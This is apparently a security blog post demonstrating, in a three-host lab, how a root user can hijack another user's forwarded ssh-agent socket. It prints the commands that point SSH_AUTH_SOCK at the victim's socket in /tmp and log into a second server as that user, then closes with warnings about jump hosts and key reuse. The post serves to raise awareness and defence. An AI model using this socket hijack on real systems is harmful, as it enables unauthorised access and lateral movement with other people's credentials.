ssh-agent: Abusing the trust — Part 1

This post is about ssh-agent. For those who don’t know, the following best describes it (from the man page):

ssh-agent is a program to hold private keys used for public key authentication

Many Unix/Linux/OSX peeps use it every day without even thinking too much about it. Even Windows users get a look in with Pageant. However, when you use public key authentication to SSH to a server and choose (by default or otherwise) to forward your agent you are in fact opening yourself up to a trivial attack by any user with root privileges on that server.

This is not new news, even the Wikipedia article on ssh-agent lists this as a problem. What I want to do in this post is a quick demonstration of how it can be abused, for the uninitiated and discuss common scenarios I see and why you should be aware of this issue.

Setting up for the demonstration

I’ll use three hosts to demonstrate this. The first is a Kali Linux box, the second and third are Debian 6 hosts. First I setup a “pwnme” user on all three boxes. On the Kali box (Kali-Marc) I create an SSH key-pair:

pwnme@Kali-Marc:~$ ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/home/pwnme/.ssh/id_rsa): 
Created directory ‘/home/pwnme/.ssh’.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/pwnme/.ssh/id_rsa.
Your public key has been saved in /home/pwnme/.ssh/id_rsa.pub.
The key fingerprint is: 7a:73:d7:fd:9a:2b:0b:ae:1f:bc:cc:91:95:cf:1b:91

Now we take the public key and add it to the authorized_keys file on debian1:

pwnme@Kali-Marc:~$ cat .ssh/id_rsa.pub ssh-rsa AAAAB3NzaC1yc2E<snip>IRnGx8fw8Q==
pwnme@debian1:~$ mkdir -m 700 .ssh 
pwnme@debian1:~$ cd .ssh/
pwnme@debian1:~/.ssh$ cat > authorized_keys <<EOF > ssh-rsa AAAAB3NzaC1yc2E<snip>IRnGx8fw8Q== pwnme@Kali-Marc > EOF
pwnme@debian1:~/.ssh$ chmod 600 authorized_keys

Next perform the same step on debian2, so it is also set up for public key authentication with this key. As I am performing this demo from a terminal I will need to start an ssh-agent manually. If I were logged in from the GUI most OSes will pop up a window and offer to save your key in an agent for you automatically. The following shows me starting the ssh-agent, adding my key (which we created above) and then listing out the keys currently in my agent:

pwnme@Kali-Marc:~$ eval `ssh-agent` 
Agent pid 17956
pwnme@Kali-Marc:~$ ssh-add .ssh/id_rsa
Enter passphrase for .ssh/id_rsa:
Identity added: .ssh/id_rsa (.ssh/id_rsa)
pwnme@Kali-Marc:~$ ssh-add -l
2048 7a:73:d7:fd:9a:2b:0b:ae:1f:bc:cc:91:95:cf:1b:91 .ssh/id_rsa (RSA)

Now we’re all set to SSH to debian1 from Kali-Marc using key-based authentication, we will override the default by specifying -A to forward our agent:

pwnme@Kali-Marc:~$ ssh -A debian1 
Linux debian1 2.6.32–5–686-bigmem #1 SMP Mon Oct 3 05:03:32 UTC 2011 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
Last login: Wed Feb 1 11:01:03 2012 from 192.168.1.250
pwnme@debian1:~$

Now we are on the debian1 host with our agent forwarded. We can check this with ssh-add -l again.

pwnme@debian1:~$ ssh-add -l
2048 7a:73:d7:fd:9a:2b:0b:ae:1f:bc:cc:91:95:cf:1b:91 .ssh/id_rsa (RSA)

We should be able to SSH to debian2 which also has our public key in its authorized_keys file.

pwnme@debian1:~$ ssh debian2
Linux debian2 2.6.32–5–686-bigmem #1 SMP Mon Oct 3 05:03:32 UTC 2011 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
Last login: Tue Apr 17 18:04:47 2012 from 192.168.1.60
pwnme@debian2:~$

Great, we’re all set. Let’s pwn this.

Demonstration

Our goal is to abuse our root privilege on debian1 to access the debian2 server, on which we don’t have an account, as the pwnme user. Log on to debian1 and gain root privileges. Our pwnme user is still logged on:

root@debian1:~# who 
root pts/0 2012–04–17 16:24 (192.168.1.250)
pwnme pts/1 2012–04–17 16:30 (192.168.1.250)

Let’s have a look in /tmp and see what we find. ssh-agent creates UNIX socket files in /tmp. It does its best to protect them by creating a directory prefixed with ssh-, chmod’ed to 700 and owned by the user who logged in. The socket file is in this directory. When the user logs in with agent forwarding the environment variable SSH_AUTH_SOCK is set to the location of this socket file. As we have root privileges we can access this socket file so all we need to do is set our SSH_AUTH_SOCK environment variable to this value and we are able to use the key data to authenticate, providing the user is still logged in with active forwarding.

root@debian1:~# ls -l /tmp/ 
total 13
drwx — — — 2 root root 12288 Nov 9 22:36 lost+found
drwx — — — 2 pwnme pwnme 1024 Apr 17 16:30 ssh-MTxBOW1298
root@debian1:~# ls -l /tmp/ssh-MTxBOW1298/ 
total 0
srwxr-xr-x 1 pwnme pwnme 0 Apr 17 16:30 agent.1298
root@debian1:~# export SSH_AUTH_SOCK=/tmp/ssh-MTxBOW1298/agent.1298 root@debian1:~# ssh pwnme@debian2
Linux debian2 2.6.32–5–686-bigmem #1 SMP Mon Oct 3 05:03:32 UTC 2011 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
Last login: Tue Apr 17 18:22:57 2012 from 192.168.1.60
pwnme@debian2:~$

Oh dear, it worked. We are now authenticated to debian2 as the pwnme user. It’s important to note that even though a passphrase was set on the pwnme user’s private key, once the key is loaded into the ssh-agent it is decrypted and the passphrase provides no protection to this abuse.

Common scenarios

So, as I said at the start, nothing new. How is this scary though? A lot of people use agent forwarding but don’t restrict it accordingly. Many people use the same SSH key for different hosts. For example, they create a key-pair at work for accessing work servers, then use the same public key on their home SSH server, or VPS in “The Cloud”. An evil root user on one of those work servers (or a penetration tester) could use those agent sockets to access your home server, your VPS, or whatever else you can access with that. Some companies even allow direct root logins with SSH providing it’s “without-password”. Woot — Instant root access. Another common scenario is the SSH golden host. A “hardened” box at the perimeter which is used to access a secure environment remotely. Many times this is the only public facing server and it is common for sysadmins or developers to forward their agent through this server. An attacker who can gain root access on this server will quickly be able to pivot through to the other servers in the environment. In the words of Haroon Meer are you “one 0-day from being owned”? If you are sensible and use different key-pairs for different environments you are likely still at risk as ssh-agent will forward all identities, so what can you do?

How to protect yourself

Unfortunately there is no magic advice here. OpenSSH provide some configuration options such as IdentitiesOnly but this only controls which identities to forward to a server for authentication. If you successfully authenticate and forward your agent, all identities loaded will still be available on the remote host. The best recommendation I can give is don’t forward your agent to hosts which you cannot trust — like the documentation says!

One clap, two clap, three clap, forty?

By clapping more or less, you can signal to us which stories really stand out.